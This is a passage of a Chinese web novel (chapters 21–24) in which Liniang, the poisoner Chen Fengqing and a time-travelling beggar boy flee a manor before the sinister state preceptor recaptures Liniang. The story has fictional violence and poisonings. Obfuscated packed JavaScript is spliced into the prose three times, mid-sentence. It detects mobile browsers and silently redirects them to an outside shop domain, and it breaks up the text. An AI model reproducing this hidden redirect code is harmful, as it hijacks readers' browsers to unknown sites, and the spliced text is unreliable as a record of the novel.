陈奉请进门的手段也和梨娘一样十分的不正当。他把手中铁丝放回袖中,就着昏暗的光线仔细打量地上瑟缩的女人。 谢骊惊恐地看着他,这是个完全的陌生面孔,不知道他所为何事。 谢骊颤颤巍巍道:“你是谁?” “不对。”陈奉请打量她良久,忽然自言自语道,“完全不一样——你也不是我妹妹。不好意思,认错人了。再见,别告诉其他人我来过。” 谢骊:? 梨娘在房梁上险些摔下去:“........” 二人心中此刻都有着同样的困惑。 他到底来干嘛的?! 陈奉请转身欲走,忽地听到外间人影晃动,竟是家丁去而复返:“咦,这锁子怎么没锁上?是不是你忘了锁门?!” "没有啊我真的锁了......" “快去瞧瞧,万一让她跑出来我们就麻烦了!” 竟是陈奉请学艺不精,没法像梨娘一样在门内复原门锁,被人发现了!梨娘简直无语。 陈奉请手指一动,在谢骊惊恐的目光下把一根细如牛毛的小针缓缓扎进她肉里,言简意赅:“你需得一直闭嘴,不然毒发身亡。” 谢骊:“.......” 陈奉请左右看看,柴房逼仄空旷,竟无一处可躲,便当即飞身上梁,然后和梨娘四目相对。 梨娘:“...............” 她还穿着那件白衣服,很能衬出她的身段,不过在这布满灰尘的地方,不免弄脏了几处。陈奉请讶异道:“夫人怎么会在此处?” 梨娘以手扶额,从牙缝中挤出几个字,道:“一言难尽!你也速速闭嘴。此事尽后,我才有话要对你说。” 那两个家丁又把门打开,像观赏新奇生物一样观赏起了谢骊,约莫是闹出的动静太大,惊动了大人物,只听门外有个十分娴静的女声问道: “怎么了?” “谢骊她又不老实了?” 21. 第21章 陷阱 下人们把谢骊当成观赏生物,但面对青禾,便只剩下惧怕,像鹌鹑一样低着头站在院外。 青禾手里托着一盏小小的油灯,那点如豆的灯火只能朦朦胧胧照亮两个女人的轮廓。 谢骊怨恨地瞧着她,恨意比面对梨娘之时更甚。青禾的表情冷冰冰的,毫无感情,像是在瞧一堆垃圾。 忽地,她莞尔一笑,问:“你怎么不说话了?姐姐。” 谢骊真的很想骂人。但是不敢开口。 青禾道:“你瘦了好多啊,姐姐。你一定很恨我吧,你那么害我,觉得我一定恨你,我才这么对你。但是你错了,我并不恨你。” 谢骊瞪着她,觉得青禾终于疯了。 “我所做的这一切,都是为了更公平的世界!”青禾怜悯地瞧着她,忽然柔声道,“即使你如此自私、浅薄、恶毒,仍然还是有些可用之处的。” “带走!” 两个家丁粗暴地扯起谢骊,谢骊连忙呜呜挣扎起来,拜陈奉请这个倒霉嫡亲哥哥所赐,她一句话也不敢说。青禾略皱了皱眉,嘀咕道:“她嗓子毁了吗?算了,仍然有办法让她开口‘说话’。” “唔,唔唔唔!”谢骊拼命挣扎着,细瘦的脖颈几乎要被折断,拼命抬头瞧着房梁,“呜呜呜呜!” 梨娘叹息一声,虽然谢骊又蠢又笨,但她仍然不愿见故人受苦,缓缓抽出匕首,琢磨着下刀的时机。 陈奉请一把按下她的手,梨娘发力挣开,就这点耽误,大门已经砰的一声重新关上。 再无外人掣肘,梨娘小声怒道:“你做什么?” 陈奉请挑眉道:“我倒要问问你做什么。底下那个不过是个冒牌货。你为何要这样好心?” “她不是冒牌货。”梨娘道,“一时半会很难跟你解释清楚!总之,她是真的谢骊。” “不可能。”陈奉请一口否决,带着点咬牙切齿,道,“谢骊惯会装模作样,很有些小聪明,喜欢耍人玩,但心地纯善,怎么会是那个样子?” 这和真正的谢骊差了十万八千里,梨娘无语道:“你从哪儿听来的谣言?” “我的亲身经历。” “?” 梨娘茫然地望着他:“你不是没见过她?” “隔着皇后寝宫的珠帘还是见过几次。” 等等,那你见到的是—— 梨娘仿佛被雷劈了,一时无语。 屋外并无灯火,仅靠门缝和窄窗透出的些微光亮,无论有什么动静都很明显。 听到窸窸窣窣的声音,二人当即闭嘴,交换了一个眼神:谢骊这里到底是什么风水宝地? 先是小小声地敲了敲门,敲门声两长一短,十分规律,屋内自是无人回应。又过了半晌,门外丢进来一封信件,小小的脚步声又远去了。 梨娘跳下房梁,捡起信封一瞧,当即瞳孔地震。只见那上面写着: 皇帝在否? 远处忽地又起了一阵喧哗声,到处都点了灯,侍女举着灯笼尖叫:“这里有人被打晕了!看守那个大夫的守卫被打晕了!那个大夫跑了,快找!!!” 陈奉请笑道:“想灭我的口也需得找些厉害的家伙。” 一间间房门被推开,此时情形再容不得细说,梨娘把信塞入怀中,当即开锁,二人闪身离开。虽院中众人皆是群情激奋,但两位身手都是上佳,辗转藏匿,一时竟没被人发现。 梨娘伏在房顶,瞧着一对对人马,目光落在他们腰间的鱼纹玉佩上,凝重道:“这样不行,没办法不惊动人出去。硬闯吧。需得多绕几个弯子就是了。” 陈奉请自无不可。 梨娘摸摸袖中的信纸,忽然道:“对了,你来这里是做什么的?” 医治和女人玩游戏的病人,让大夫也觉得十分的难以启齿。陈奉请言简意赅道:“救一个人的命。” 一声惊天动地的炸响从后院处响起,这声音熟悉无比,梨娘猛地转头。 陈奉请揉了揉耳朵,指指点点地问道:“你提及的双管□□,一定是要弄出这么大的动静吗?” “......原本的设计确实不需要。”梨娘下意识回答道,“但因为这世界的材料是有缺陷的。想要保持威力,就不得不做成现在的样子。” 陈奉请随口抱怨一句,未曾想居然真的能得到回音。他来不及再问,梨娘已经跃下房顶,向着响声传来的方向奔去! . “抓到了!抓到了!” 家丁浑身是血,啐了一口,把一个小孩惯在地上。而另一个家丁半边身子上嵌了无数钢珠,正倒在地下翻滚哀嚎。 小孩当即扭动着身子想要逃走,但手中枪管被家丁粗暴地一把夺过,用力一拳打在小孩脸上,小孩当即被打飞出去,又被几个家丁七手八脚摁在地上! 火把的光线照亮了小孩的脸,他缺了两颗门牙,身上的补丁一块接着一块,分明是个小乞丐! “是个偷东西的小贼!”家丁又是一拳打在小孩脸上,骂道,“妈的,还是没找到那个大夫!” “你们大人打小孩,还要不要点脸了?”小乞丐呸出一口血,不屑道,“哼,你们都是伥鬼!” “是啊,小毛贼怎么会有这种东西?” 一个格外平静的声音从外间传来,众家丁纷纷低头,道:“夫人。” 青禾微笑着从地上捡起那杆枪,一指向乞儿,道:“他是鸩鬼!” 众人闻之纷纷色变,小孩大怒,道:“穿越者怎么你们了?一没偷,二没抢的,为何要赶尽杀绝?” “鸩鬼都是祸害......” “连一个小孩都能有这种威力的东西,他们应该是多恐怖啊,不能留,不能留......” “都是鸩鬼占了我们的福气。” “冥顽不灵,呸!”众人的窃窃私语差点没把小乞儿气死,他气得倒腾他的两条短腿,道,“你们就听信那个鼓吹社会达尔文主义的疯子吧!都病死,死光光就知道后悔了!” “我们不会死。”青禾微笑道,“我们的魂灵,不过是流往下一个躯体。” 她冷酷道:“杀了他!然后把他的头拿去领赏!” “卧槽!别啊!”小乞儿大惊,疯狂挣扎,道,“我都死过一次了,我不要再死一次啊啊!!!” 几个家丁七手八脚地按住他,雪亮的刀锋在小乞儿头上比比划划,小乞儿紧紧地闭上眼—— 比血腥气先袭来的,是甜甜的草木香味。 梨娘从房顶跃下,自身重量裹挟着重力全部压在一个家丁的肩头,直接将人压垮;匕首飞舞如狂乱的雪花,按住小乞儿的家丁臂膀多出了几道深可见骨的血痕,再也使不上力! 略略喘了一口气,梨娘拎起小乞儿的后脖颈,短促而急切地道:“抓紧我!” 小乞儿太想活命了,当即照做,梨娘毫不恋战,当即奔逃,未被伤及的家仆们起身欲追,刚刚跑出几步,却觉得胸闷气短,跪倒在地,口中吐出一口漆黑的鲜血。 青禾只觉得右臂轻微的一麻,却是一根牛毛细的小针,几乎没入了皮肉里。 如此剧毒,会在心脏搏动十次之后将毒素传遍全身。到那时药石难医。 青禾做了唯一能活命的一件事。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17731672|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' > 她袖中滑出一柄匕首,在血液流动之前割掉了自己的一整块皮肉。 她并不觉得疼,只是困惑地盯着梨娘消失的方向。 “.......金乌姐姐?” . 耳边风声呼啸,小乞儿死里逃生,忍不住泪流满面:“卧槽,卧槽,吓死我了,我还以为我这次要完了.......上官梨姐姐,姐,你是我唯一的姐,从此之后我为你马首是瞻,过节给你送礼,清明给你烧纸.......” 梨娘心想我戴帷帽难道一点用也没有吗?怎么所有人都能一眼认出我是谁? “对啊。”梨娘才发现自己说出了口,小乞儿有些羞赧,道,“姐你太显眼了,你的通缉是全身等比画像,这世界里还是独一份呢!” 梨娘翻过院墙,向外逃窜脚步不停,感觉自己心跳加速并不只是因为剧烈运动。 她真要被前夫气死了。 身后传来轻轻的落地声,应是陈奉请随着她一起离开。梨娘向后略略扫了一眼,压低声音问道:“你们为什么要找皇帝?到底在谋划什么?” “你怎么知道的?这是机密,不能往外说的......” 梨娘冷笑道:“你想和机密一起死吗?” 小乞儿顿时老实了,纠结道:“救命之恩当涌泉相报......好吧!” “我只是个跑腿的。之前我们的人传来消息,说皇帝,哦不是我们的皇帝,是大燹皇帝。说大燹皇帝赵艽野有意和我们接触,但国师看得太紧,并不允许任何傀儡逃出他的手掌心。” “所以赵艽野想了个馊主意,想办法让自己生病。国师不想让他死,就一定会把他送出皇宫来寻大夫。” “就算是再道德高尚的人也没法在大燹都城做大夫的......” “这里是国师的母家所在的地方,而且离国度有段距离,他一定会把赵艽野送来这里养病。” “但是我们在这里的人宅斗失败,被关在柴房里。现在都不知道皇帝究竟来了没有.......” 梨娘的脚步渐渐慢了,最后停下。 小乞儿发现她在打颤,连声道:“怎么了,没事吧?是不是我太重了?我有三十斤——你快放下我歇歇,我穿来前是个成年人了,可以自己跑,我跑的很快的。” “你说国师的母家在这里?”梨娘缓慢地重复道。 “对啊。”小乞儿不明所以,道,“大燹国师不是姓苏吗,这里的苏家就是他的本家啊。” 梨娘觉得自己浑身的血液都要被冻住了,道:"可我听到的消息,明明是国师要杀皇帝。" “怎么会呢?”小乞儿笑道,“大燹皇帝若是死了,再扶植一个傀儡也是个麻烦事啊。” 梨娘把小乞儿往身后的陈奉请怀里一塞,在两人的困惑的注视中丢下一句话:“他故意的,他引我来的——快离开这里!这里待不得了,我去接小宝,你们快出城!” . 梨娘很久没有跑得这么快过了,上一次,还是她以为自己杀了那个疯子,从落仙阁逃出来的时候。 客栈老板依然趴在柜台前打盹,梨娘略略松了一口气,三步并作两步迈上木质台阶,猛地推开房门—— “小宝,我们快些——” 一个人影背对着她,轻轻抚摸着小宝的头发。 梨娘能让人一下子就认出她,凭的是她风华绝代、美艳无双;而这个人只需要凭一双眼睛就可以了。 没有人再有他这样的重瞳和白发。 喉咙里的气息仿佛是滚烫的。梨娘嘶哑道:“......国师。” 22. 第22章 爱意 那人转过脸来,露出一张近乎是妖异的面容。他五官几乎可以称得上精致,白发总会显得人比较弱气,这点文弱又被那可以称得上是恐怖的重瞳完全抵消掉了。 国师露出了个孩子气的笑容,仿佛他们只是在玩一场捉迷藏游戏,而现在他找到梨娘了。 他道:“找到你了。” “我逃跑的新娘子。” 他苍白而青筋毕露的手指在小宝的咽喉处摩挲着,梨娘知道他的力气可以随便折断幼儿的脖颈。小宝一动也不敢动,哭丧着脸瞧着梨娘。 “放了小宝!”梨娘道,“我随你处置。这一切的一切都怪我,要杀要剐随你便!” 国师像是没听明白梨娘的话一样,困惑道:“怎么如此生气?我许久不见苏竹心,只是想和他联络联络感情。” 他说一句话,小宝就抖一下,颤颤巍巍道:“我不和你联络感情,你速速消失!” 咔——小宝的颈骨在瞬间发出了不堪重负的闷响,梨娘惊叫着扑上来,手中匕首划出一道雪亮的弧线,如果小宝死了,梨娘绝对会让国师也陪葬。 却见国师把小宝捏的面目青紫,却又让他留着一条小命,把力道卡得非常精准。 梨娘的刀尖刺破国师的手指,一滴血珠从他苍白的皮肤上滑下来,几乎可以算得上是美艳。 国师泫然欲泣,仿佛真的十分伤心似的。但下手可一点没留情面。 “.......”梨娘松开手指,匕首当啷一声落在地上,面无表情道,“放开!” 梨娘很少面无表情,她的五官太侬艳,面无表情的时候会很吓人,所以她有意让自己一直微微笑着,哪怕有点傻气也没关系。 如此美人冷下脸来,眼神比大燹的风还狠厉,国师却仿佛很享受似地,一寸寸松开了钳制小宝的五指。小宝扑通跪在地上,猛烈地咳嗽。 梨娘冷冰冰道:“你到底想要什么?” 国师睁大了眼睛,眉毛微微蹙起,理所当然地道:“你是我的新娘子啊,新娘子和新郎官就是要永永远远地在一起的!” 以梨娘之见,国师又在装疯卖傻。他所做的事和他的言语并不匹配,口中就没有一句话可信。 小宝跌跌撞撞扑进梨娘怀里,梨娘用力抱住他,道:“满口胡言!事到如今谁还会信你的鬼话?” 她进入客栈之前也没忘了注意周围,客栈附近并没有埋伏什么兵马,看起来国师也是刚刚得到消息,匆匆赶来。或许还有可能逃开。 国师那双重瞳一眨不眨地盯着梨娘,忽然道:“金乌,你瘦了好多。在外面很辛苦吧?你照顾不好自己的,你需要我。” 梨娘瞪大了眼睛,像是听到了什么荒谬至极的话,简直无法相信这世界上居然有如此没脸没皮的人,怒道:“妾身快被你照顾死了好吗?你能放生我,让我在这世界里自由自在地活吗?” 一只苍白冰冷的手轻轻地抚过梨娘的脸颊,他的体温偏低,简直像是被蛇爬过了一般,梨娘猛地挣开了。 国师伤心道:“你怎么都不明白,我所做的一切都是为了你呢?你只要放下你那无所谓的坚持,和我一起享受世界就好了。我所做的一切,都是为了你能获得真正的自由。” “你还不如杀了我呢。”梨娘心一横道。 国师幽幽地叹了一口气,忽然谈起了风马牛不相及的另一件事,道:“这家客栈的老板,人很好吧?他也是像我一样忠贞的人,妻子离开之后一直没有续弦,独自抚养两个孩子长大。” “.......”梨娘已经知道国师想要说什么,眼睛微微睁大了。 “那个卖包子的大娘,做的包子总是缺斤少两。这是因为她一直、一直在接济巷口的一群孩子,自己的女儿还瘫痪在床,实在没有办法。” “.......” 国师用天真无邪的语气道:“真不知道如果她们忽然死了,家里人要怎么办呢?” 梨娘手指青筋暴起,猛地一把掐住了国师的咽喉!国师的面孔上很快浮现一层薄红,不过他依然在笑,因为他瞧见梨娘因为他而生气,那不就是在乎他吗? 国师磕磕绊绊地说:“......你就算杀了我......我的落仙教派依然会运转下去......它依然会酿成无数的惨剧......我选了许多愚蠢至极的人,还有许多自诩聪明的人......哈哈哈.......金乌,你一定不会放着不管的,是吧?” 有的时候,梨娘真的想掐死国师,然后自己也一起死,再也不管身后洪水滔天。 但正如他所说。 国师已经建立起了一个逻辑自洽的庞大团体,这个团体并不会因为国师的死而轰然倒塌,它只会更加畸形地运转,然后把卷进去的所有人都一起害死。 “咳咳咳......”梨娘松开国师的脖颈,国师边笑,边咳嗽,道,“我就知道你舍不得我!” 这人简直没法沟通。 “放心吧。落仙教派完完全全是我的掌中之物。”国师笑道,“只要我在一天,就不会有你想的那种可怕的事情发生。大秉国的前车之鉴,我怎么会让它重演?” “前提是,你得在我身边。” “我们约好的不是吗?我们都饮过交杯酒了,发誓要生生世世、永永远远地在一起。” 梨娘真想把三年前的自己掐死。 国师小心翼翼地握住了梨娘的手腕,梨娘颤抖两下,终究还是没有把他甩开。国师一下子开心起来,凑上来揽住梨娘,梨娘汗毛都要立起来了,道:“离我远点!” “不要。”国师强硬地贴着梨娘,像是某种大型冷血动物,朝着梨娘露出拟人的微笑,道,“如果不靠近一点,其他人怎么知道你是我的呢?毕竟这世界上该死的小三很多。” “啊,下次我要把‘千万不能成为小三,小三会下地狱’这一点加入到教义里。” “...............” . 另一边,陈奉请和怀中的小乞儿面面相觑。 一阵猛烈的风穿过巷口,在尖啸中掀起漫天黄沙,最后一点月光也被云遮了去,仿佛某种不祥的预兆。 真不怪他恶毒,是这世事逼得他不得不如此铁石心肠,陈奉请一边毫无感情地这么想着,一边再次从袖中拿出根淬了毒的长针来。 这招百试百灵,毕竟除了梨娘,没有人不在乎自己的性命。 小乞儿大惊,道:“别,大哥,真不用,我很上道的。但我不知究竟怎么回事。上官梨大人可能是发现了什么吧,我太笨了,怎么会知道她这种大人物的事呢?” “哦。”陈奉请笑道,“那就先说说上官梨的事吧?” “........”小乞儿小心翼翼道,“您是上官梨大人的.......?” 他在心中疯狂思考措辞,听说上官梨大人之后改嫁了不少次,如果这人是其中之一的话,听到上官梨大人曾经的情史说不定会朝他发火...... 大脑疯狂转动间,小乞儿听见陈奉请道: “我跟她没关系,我纯属好奇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17733855|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 。” “.......呃,”小乞儿微笑道,“行。” “上官梨大人呢,曾经是大阜的皇后。” “她的才华非常出众,据说已经到了很可怕的地步,在大阜还没灭国的时候,无人不知无人不晓。” “她和皇帝关系也非常恩爱,青梅竹马,两小无猜,她母家势大,一力支持当时还是个皇子的皇帝上位.......但是大阜被大秉国灭了国,上官梨就觉得错全在大阜皇帝身上。” “她觉得,都是皇帝步子太大,太想做点新东西,才酿成了那样的惨剧。” “皇帝想挽回她,一直在找她,可是一直没找到,每日以泪洗面。” 小乞儿比比划划,手舞足蹈地跟陈奉请讲述那在他口中多么多么凄美的爱情故事。 陈奉请听了,挑眉道:“不对。你这故事逻辑不对。” 小乞儿被打断,气哼哼地,道:“哪不对?这每个细节都是皇帝亲口对我说的!” 疯皇帝每一天都在说他思念皇后,不管是新来的人,还是追随疯皇帝的旧人,都知道他爱惨了她。 陈奉请嗤之以鼻,道:“那只能说明你们的皇帝太爱表演。他应该去当个戏子,而不是皇帝。” “你说什么?!”小乞儿当即作势要打他,不过当然不敢触这位大哥的霉头,只敢顶嘴两句,道,“你又不是亲历者,你不知道。” “若我所猜没错,恐怕你们所有人,都没有亲历过。” 小乞儿道:“哦,那是因为当时太乱了,我们穿越者很多都是四体不勤五谷不分的。” “不对。”陈奉请道,“就算有穿越者,他也会把他们清理掉,因为经历过的人就无法欺骗了!” 小乞儿怒道:“你知道什么?” 陈奉请冷冷道:“我是大秉国人,家里送我去参军。当时大阜都城破的时候,我正在城下。” 就算是他,回忆起当时的惨状,铁石般的心肠也会有一丝触动。陈奉请笑道:“你见过两军交战,对面之人空有一身铠甲,身躯里面却空荡荡的么?要么缺了手、要么缺了脚,百姓不战而降,军队里居然连全须全尾的人都凑不出一队来,真叫人看了心寒呐。” 小乞儿木愣愣地看着他,表情空白,大脑一时无法理解为什么会这样。 陈奉请解答了他的疑惑:“因为犯了罪。哪怕是一点小罪,因为要饿死了,偷了别人的一块馒头吃——这也会上重刑。” “夫人应该很后悔,非常后悔让这样的人坐上那个最有权势的位置。把人拉下来之后,那个人还要不停地表演深情来恶心她。” “哎,她真可怜呐。” “你说的才不对。”小乞儿想反驳他,但一时之间找不出什么话来。手臂被用力一拉,他茫然地抬头,瞧见陈奉请的面容忽地变得更冷了。 这人总是事不关己,没有丝毫的同情心,叫人看了十分想揍他一顿。他很少关心什么人,谁死了,谁活了,哪里的势力兴起了,哪里又败落了,关他死活? 而在这一瞬间,他眼中流露出了最真实的怒意—— 梨娘从客栈中出来,手被一个诡异的男子亲热地拉扯着,看起来比她三天没睡的时候还要疲惫。 梨娘瞧见他,当即瞪大了眼睛,猛地抬头看向国师,生怕这人发疯连累无辜人士。 国师低头柔声问她怎么了,语气是十足的亲昵,梨娘硬着头皮敷衍了几句,终于寻得机会,在国师瞧不见的死角,用口型对陈奉请道: “快、走。” 23. 第23章 燹中对 “真的没事吗?”国师揽着她的肩膀,把嘴唇附在她耳边。梨娘能感受到他的嘴唇微微擦过耳垂的感觉,简直令人头皮发麻。 国师轻笑道:“太好啦,我还以为你偷偷藏了些什么人,妻子太受欢迎也是烦恼。没关系,如果让我发现,我一定会把他碎尸万段!” 也不知道到底没关系在那里,梨娘根本不想陪着他胡闹,也不想连累无辜人士,冷脸道:“你还要疑神疑鬼到什么时候?妾身会死死盯着你,直到你和你的落仙阁一起死掉为止!” “那就太好了。”国师很开心似的,妖异到近乎诡异的重瞳眯成月牙,忽然转过头轻飘飘对手下道,“去把金乌瞧过的所有人都杀了!” 来不及震惊于他的反复无常,梨娘不可能真的让国师滥杀无辜,还是在她的眼前。便立刻喝止道: “我看谁敢!” 谁让落仙阁是个夫妻店?处刑人们此时十分两难。 梨娘的发髻早乱了,这一晚上,她也是上蹿下跳,经历十分跌宕。国师的手指缓缓顺过她散落的碎发,苍白的皮肤和乌黑的长发对比堪称触目精心。他埋怨道,“你瞧,你还是另有心上人了!我就知道你杀我是变心了!” 梨娘真想把他掐死。拂袖道:“对,妾身正在找第八任丈夫。如果你现在杀了谁,我即刻自刎殉情结冥婚!” 别的国师可不在意,只有这个是万万不能的。梨儿是他的新娘,这件事永永远远都不会变。 他当即撒娇道:“好吧,好吧,都依你,我是很听妻子的话的!外面风沙大,你快些进来避避。” 国师殷勤地挑起帘子。瞧见他没有再发难的意思,梨娘坐进马车,顿时觉得四四方方,十分压抑。 没瞧见在她视线的死角,国师面上再无笑意,对着手下做了个清理干净的手势。处刑人们自当领命而去。 而下一秒,国师脸上重新露出那种孩子气的笑容,一把抓起小宝丢在对面,非要和梨娘挤在一起,腿挨着腿,耳鬓厮磨,暧昧至极。 那对眼睛近在咫尺,一眨不眨地瞧着她,梨娘汗毛都要起来了,问:“你要把我带去哪?” 国师并不回答,忽然道:“假如我们是寻常夫妻,你还会这么爱我吗?” “........”梨娘根本无法理解他的脑回路是怎么长的,冷冰冰道,“能不能别弄错了?我从没爱过你,一直都是被胁迫的!” “不。”国师轻咳一声,在梨娘刀子般的目光中,十分自信地说道,“从我见到你的第一眼起,我就知道我们是上天注定的缘分。就像你从来不肯说你的前夫,生怕我把他们处以车裂凌迟五马分尸满门抄斩之刑一样,新郎对新娘也是有着一些小秘密的!” 不说就不说,非得说这些长篇大论。和国师沟通,他十句话里能有一句真,梨娘便已经觉得是他在积德。当即闭目养神,不愿意再理他了。 马车缓缓远去,几位处刑人骑马跟随。 转角处一个半张脸上有着疤痕的英气女子在桌上丢下一把铜板,大步流星迈出茶摊,翻身上马。 而更远处,小乞儿拼尽了全身的力气,用尽了所有的口舌,才能勉强把他大哥的眼珠子从他姐身上劝下来。 天知道他身在地助会这一和落仙阁完全敌对的帮派,鼓吹对面势力的时候,有多心累。 能让陈奉请先退让一步,他已经是筋疲力尽,再也不想和这位神人打交道,先一步打起了退堂鼓,道:“大哥啊,我家中还有一堆四体不勤的穿越者等着我带饭回去。我是时候离开了。” “不急。”谁也不明白陈奉请现在是个什么心情,他慢悠悠地玩着他那堆长针,谁也不会想知道上面都涂了点什么毒药的。 他抬起眼皮,凉凉道:“你姐的救命之恩,你还没来的及回报呢。” “........”小乞儿已经意识到了,这人比梨娘更要难缠一万倍,苦笑道,“你想要什么?大哥您看,我身上什么也没有,人小势微,你若是拿我的人头去落仙阁领赏,也领不到几个钱。” “我缺钱吗?有什么是我得不到的?我只是无聊,找你聊聊天而已。” 陈奉请假笑道。 “........”小乞儿微笑应和道,“对,一看大哥你就什么都不缺,只缺一位红颜知己。” 陈奉请像看到什么猎奇生物一样瞧着他,道:“女人是毒药,我为什么会需要?” “............”小乞儿十分无力,道,“对,您说的都对。太对了,我特别支持你。” 陈奉请忽然又道:“你说那个畸形的家伙为什么会把夫人带走呢?她身上有什么他所图谋的?” 想起关于大燹国师的传闻,小乞儿小心翼翼道:“有没有一种可能,他们之前是夫妻,只是想找机会复合呢?” “不可能。”陈奉请一口否决,道,“他长成那样,夫人怎么可能看上这样的人?” “........”小乞儿沉默片刻,选择了高情商发言,道,“对,您说的太对了,他一定是图谋我姐身上的某种东西。一定不是馋我姐这个人。” “也不对。”陈奉请很失望地看着他,道,“梨娘生得美艳绝伦,我见犹怜,怎么会有人对他不感兴趣?” 小乞儿想掐死他。 小乞儿在心中已经畅想自己重新拥有十年健身的强劲身躯,然后把陈奉请狂揍一通,面上仍然恭恭敬敬道:“对,您说的真的特别特别的对。我姐这种风华绝代的美人,叫人见之心动。” 陈奉请又不满意了,道:“你怎么能对救命恩人有这样的色心呢?品德低劣!” 小乞儿:“...................” 别管是谁,来这里把这男的杀了吧。 仿佛上天也看不得这种祸害每日里祸害别人,从角落里唰唰跳出一对处刑人,手中海浪形的刀锋闪亮,直指二人! 小乞儿一声尖叫还没从嗓子里爆出来,就见陈奉请抓住男处刑人的手腕用力一扭,在骨骼噼里啪啦的脆响和男处刑人的惨叫中劈手夺过匕首,掷向女处刑人的面门! 女处刑人险之又险地猛地向后下腰躲过,一声脏话还未出口,下盘被人猛扫,在髌骨清晰的折断声中失去平衡,倒在地上惨叫! 男处刑人见到女处刑人的惨状,当即两眼通红。 但,这并非因为愤怒。 处刑人之间大多是相互监视的关系,感情少之又少——他其他地方的皮肤也都红肿瘙痒起来,那种瘙痒让人一点也忍受不得,他把皮肤抓出道道血痕,仍然无法缓解那仿佛从骨头里沁出来的痒意,惨叫起来! 那声音太惨烈,听得小乞儿想要趁乱逃走的步子缓了,女处刑人想要再次刺杀的刀迟了。 内心只有一个念头。 千万不能得罪这男的! 陈奉请叹了口气,把剩下的银针放回袖中。 能做处刑人、能忍受国师这般阴晴不定之人的,大都是能屈能伸的人物。 女处刑人当场不顾腿部的剧痛,扑通一声下跪,叩头道:“饶命啊!处刑人之间两两成对,若是他死了,我也得陪葬!我不要给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17737896|208286||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 他陪葬啊!郎君为何叹气?可有我能帮得上忙的地方?” 男处刑人在翻滚挣扎间发出怒骂,当然没人理他。 陈奉请道:“你们效命于国师?真是鼠目寸光——那来谈谈苏梨儿吧。她为什么要跟随国师?” 小乞儿偏过头去,实在不忍心看自己的悲剧重演。 女处刑人以为他和金乌有仇——金乌身边的男人,八成都和她有仇。按着这个规律来,错不了,当即谄媚道:“金乌此人作风放浪,以玩弄男人心思为乐,且惯会花言巧语,郎君也定是被此妖女所惑!她追随国师,不过是贪慕权贵,国师一腻就会把她抛弃掉的,她讨不了什么好果子吃!” 他淡淡道:“是吗?想不到她是如此之人,我竟一点也未察觉。” 女处刑人抬起头,瞧见陈奉请脸色,知道再说错一句话,陈奉请即刻就会送她去投胎。在落仙阁长期面对国师的经验让她立刻反应道: “不不不,当然是我胡扯的。这都是国师大人让人散布的谣言,实际上金乌姐姐完全是被迫嫁给他的。金乌姐的第六任丈夫把金乌姐的孩子送进了落仙教派,金乌姐为了找回孩子才不得不这么虚与委蛇、寄人篱下、忍辱负重!实际上她一点也不爱他!” 陈奉请唔了一声,自言自语道:“她确实会做这种事,明明孩子路边到处都是。谁都能看出她那个孩子没两年可活了,只有她不相信,一直宝贝着。” 女处刑人连忙奉承道:“对啊,哈哈。她看着很不好惹,实际上心肠很软的。如果您追求她,他一定会答应的。” 陈奉请仿佛听见什么怪事一样,挑眉道:“我为什么要追求她?她和别人结亲又有什么好的?” 女处刑人:“呃?” 女处刑人有些拿不准他在想些什么了,只得赔笑道:“对,对啊,当时金乌偷出了国师印,在和离书上盖了章,国师应该带走她之后就会重新写定婚书。如果不想她再次成亲,应该需得快些出发了。" 陈奉请有些意动,却又道:“可我又有什么理由帮她呢?她的死活和我有什么关系?” “???”女处刑人懵了,从来没见过这样的人,下意识回答道:“对啊,对啊,金乌虽然自诩清高,自认为和我们不一样,但依然造下不少杀孽。她曾经酒后说,她如果没了牵挂,立刻就会去死。” 陈奉请仿佛很苦恼,道:“也不成。她这样的人物,如果就这么白白死了,岂不是可惜?” 女处刑人:“.......” 小乞儿:“.................” 他到底想干嘛!!! 女处刑人在落仙阁常年担惊受怕的经历拯救了她,灵光乍现,她道:“金乌姐其实一直希望能有一个可以给她完全幸福的人。” “哦。”陈奉请奇道,“那和我有什么关系,告诉我干什么?我对她毫无想法啊。” 女处刑人真想掐死他。表面上仍恭恭敬敬道:“金乌姐曾经酒后和我们说过一些往事,我们听了,都觉得她总是爱上一些人渣。她,她需要一个在旁边可以帮她的人!” “金乌姐从来、从来没有过这样可以完全信赖的人!她一定会感激涕零的不想和你结亲,也不想死,也不想和别人结亲的!只和你......呃,成为纯洁美好高尚但是绝对独一无二的亲密朋友关系!!!” 在小乞儿和女处刑人紧张的注视下,陈奉请终于动了。他丢给女处刑人一个药瓶,在女处刑人终于解脱的目光下,笑道:“你说的对。” “我确实得把夫人救出来。” 24. 第24章 苏千里 马车一直在绕圈子。 